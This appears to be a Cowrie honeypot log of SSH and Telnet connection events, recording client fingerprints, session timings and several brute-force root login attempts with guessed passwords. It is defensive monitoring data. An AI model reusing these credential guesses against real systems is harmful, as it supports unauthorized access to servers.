{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:21.702016Z","src_ip":"43.135.176.251","session":"e44427067971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sammy123","message":"login attempt [root/sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:22.010854Z","src_ip":"43.135.176.251","session":"e44427067971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:22.656688Z","src_ip":"103.24.63.85","session":"693e482170a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35096,"dst_ip":"10.17.0.5","dst_port":23,"session":"6537953b263e","protocol":"telnet","message":"New connection: 192.119.13.58:35096 (10.17.0.5:23) [session: 6537953b263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:23.041533Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:23.082848Z","src_ip":"43.135.176.251","session":"e44427067971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46832,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6802ed0ac5","protocol":"telnet","message":"New connection: 192.119.13.58:46832 (10.17.0.5:23) [session: 7e6802ed0ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:25.890195Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae317d4113a2","protocol":"ssh","message":"New connection: 103.153.68.219:38432 (159.203.135.109:22) [session: ae317d4113a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:27.182313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:27.199788Z","src_ip":"103.153.68.219","session":"ae317d4113a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:27.449062Z","src_ip":"103.153.68.219","session":"ae317d4113a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":37564,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f8919050bf","protocol":"ssh","message":"New connection: 49.51.241.230:37564 (159.203.135.109:22) [session: 46f8919050bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:27.934888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:27.939534Z","src_ip":"49.51.241.230","session":"46f8919050bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:28.008130Z","src_ip":"49.51.241.230","session":"46f8919050bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baseball","message":"login attempt [root/baseball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:28.196589Z","src_ip":"103.153.68.219","session":"ae317d4113a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:28.313159Z","src_ip":"49.51.241.230","session":"46f8919050bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:29.384736Z","src_ip":"49.51.241.230","session":"46f8919050bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:29.449169Z","src_ip":"103.153.68.219","session":"ae317d4113a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38548,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a2e44b6732b","protocol":"ssh","message":"New connection: 37.143.61.84:38548 (159.203.135.109:22) [session: 3a2e44b6732b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:31.989877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:32.000754Z","src_ip":"37.143.61.84","session":"3a2e44b6732b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:32.083065Z","src_ip":"37.143.61.84","session":"3a2e44b6732b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkerbell","message":"login attempt [root/tinkerbell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:32.458134Z","src_ip":"37.143.61.84","session":"3a2e44b6732b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:33.538968Z","src_ip":"37.143.61.84","session":"3a2e44b6732b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55372,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea7be0f86ae","protocol":"telnet","message":"New connection: 192.119.13.58:55372 (10.17.0.5:23) [session: 9ea7be0f86ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:35.187163Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55520,"dst_ip":"10.17.0.5","dst_port":23,"session":"183185766d1b","protocol":"telnet","message":"New connection: 192.119.13.58:55520 (10.17.0.5:23) [session: 183185766d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:35.227979Z"}
{"eventid":"cowrie.session.closed","duration":0.0055904388427734375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:35.233400Z","src_ip":"192.119.13.58","session":"183185766d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:37.675206Z","src_ip":"103.24.63.85","session":"78b026ce407b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.50396418571472,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:40.278320Z","src_ip":"192.119.13.58","session":"9c6b99ef75bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55028,"dst_ip":"10.17.0.5","dst_port":23,"session":"69cde9bdf404","protocol":"telnet","message":"New connection: 192.119.13.58:55028 (10.17.0.5:23) [session: 69cde9bdf404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:49.221800Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a680ba1a88a","protocol":"telnet","message":"New connection: 192.119.13.58:35456 (10.17.0.5:23) [session: 6a680ba1a88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:51.362234Z"}
{"eventid":"cowrie.session.closed","duration":40.63252854347229,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:53.941363Z","src_ip":"192.119.13.58","session":"5dbf33fd9b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34398,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e1d6905bd36","protocol":"ssh","message":"New connection: 103.173.227.57:34398 (159.203.135.109:22) [session: 9e1d6905bd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:58.582900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:58.587862Z","src_ip":"103.173.227.57","session":"9e1d6905bd36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":56000,"dst_ip":"159.203.135.109","dst_port":22,"session":"80def8e88eee","protocol":"ssh","message":"New connection: 207.56.225.202:56000 (159.203.135.109:22) [session: 80def8e88eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:58.694905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:58.700748Z","src_ip":"207.56.225.202","session":"80def8e88eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:58.831371Z","src_ip":"103.173.227.57","session":"9e1d6905bd36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:58.866278Z","src_ip":"207.56.225.202","session":"80def8e88eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root11root","message":"login attempt [root/root11root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:59.553382Z","src_ip":"207.56.225.202","session":"80def8e88eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerasdzx","message":"login attempt [root/qwerasdzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:07:59.563492Z","src_ip":"103.173.227.57","session":"9e1d6905bd36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:00.724973Z","src_ip":"207.56.225.202","session":"80def8e88eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:00.809480Z","src_ip":"103.173.227.57","session":"9e1d6905bd36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":36746,"dst_ip":"10.17.0.5","dst_port":22,"session":"760195fe8da8","protocol":"ssh","message":"New connection: 103.27.238.120:36746 (10.17.0.5:22) [session: 760195fe8da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:03.582565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:03.608202Z","src_ip":"103.27.238.120","session":"760195fe8da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:03.858704Z","src_ip":"103.27.238.120","session":"760195fe8da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678s","message":"login attempt [root/12345678s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:04.943052Z","src_ip":"103.27.238.120","session":"760195fe8da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.45056343078613,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:05.491999Z","src_ip":"192.119.13.58","session":"6537953b263e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:06.218966Z","src_ip":"103.27.238.120","session":"760195fe8da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":33282,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a06e8c5dcb4","protocol":"ssh","message":"New connection: 165.154.23.26:33282 (159.203.135.109:22) [session: 0a06e8c5dcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:07.203934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:08:07.209255Z","src_ip":"165.154.23.26","session":"0a06e8c5dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-